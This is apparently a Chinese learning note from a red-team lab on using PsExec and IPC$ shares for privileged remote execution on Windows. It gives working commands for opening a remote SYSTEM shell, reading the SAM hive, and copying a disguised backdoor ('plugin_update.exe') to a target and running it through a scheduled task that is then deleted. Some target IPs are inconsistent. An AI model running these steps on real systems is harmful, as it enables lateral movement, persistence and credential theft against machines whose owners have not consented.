0x00背景

之所以学这个呢,是因为之前打红日靶场的时候用它直接就拿下域控了,我一脸懵逼,现在来具体深究下它到底是干什么的,整个过程是怎么实现的。

0X01征途

psexec是sysinternals的一款强大的软件,啥又是sysinternals?

简单说就是微软系统工具。

那么它有什么作用呢?通过它可以用来提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,特别是在域环境中。

这里就是画龙点睛了,用它可以提权和执行命令?

那么所谓的smb漏洞利用的psexec大致可以粗糙理解为smb打开了一个共享,然后通过这个共享方式机器吉间可以相互通信,通信过程中使用psexec直接就能执行命令来达到管理其他机器的效果。

smb服务主要作用就是在计算机见共享文件、打印机和串口。

接着回到正题,psexec的具体用法:

1.以系统身份运行指定应用程序:

由于windows很多信息只有system才能看,因而即使是administrator也必须先到system才可以。

因而我们可以使用psexec执行system的权限:

psexec -s -i regedit.exe

这个时候比如注册表中一些administrator看不了的比如sam信息就能看到了。

其中-s代表以system身份,-i是交互的意思。不-i得话就是后台运行了。

2.创建/执行远程命令代码

执行远程进程得前提条件是对方机器必须开启IPC以及admin,否则无法执行。

详细命令:

开启ipc$
net share ipc$
开启admin
net share admin$
在对方电脑上运行程序:
psexec \\192.168.1.2 -u administrator -p 123456 -d -s calc
运行calc后返回,对方计算机上会有一个calc进程,是以系统身份运行的,因为calc前面是-s(system的意思)。窗口对方是看不到的,如果需要对方看到这个窗口,需要加参数-i。
C:\>psexec \\192.168.100.2 -u administrator -p 123456 -d calc

承上,就以当前身份运行calc,然后返回

C:\>psexec \\192.168.100.2 -u administrator -p 123456 -i -d cmd /c start http:// www.baidu.com

为对方以当前用户身份打开百度网页,并让他看到这个网页

ð  在对方电脑上运行cmd命令,且不让对方看到这个窗口

C:\>psexec \\192.168.100.2 -u administrator -p 123456 -s cmd

这个命令执行成功之后,命令提示符窗口在我这边,可以直接在我这边输入命令,而命令在对端执行,相当于远端应用程序虚拟化到本地,很有用。

0x02开阔疆土

这里就又涉及到一个词语了IPC$

IPC$是共享”命名管道”的资源,是为了让进程间通信而开放的命名管道,通过提供可信口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

使用条件

1.开放了139、445端口

2.目标开启了IPC$文件共享

3.获取用户账号密码

连接$IPC:

net use \\192.168.52.138\ipc$ /user:administrator "密码"
然后复制后门:
copy plugin_update.exe \\193.168.52.138\c$\windows\temp\plugin_update.exe

最后执行后门程序:
# 查看目标机器时间
net time \\193.168.52.138
# 创建该时间之后的某个时刻自动执行任务,任务名 plugin_update
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 192.168.52.138 /RU System /u administrator /p "密码"
#下面代表立即运行后门程序
schtasks /run /tn "plugin_update" /S 192.168.52.12 /u administrator /p "密码"
# 删除创建的任务
schtasks /F /delete /tn "plugin_update" /S 193.168.52.138 /u administrator /p "密码"

参考文章:IPC$渗透使用

强大的工具PSexec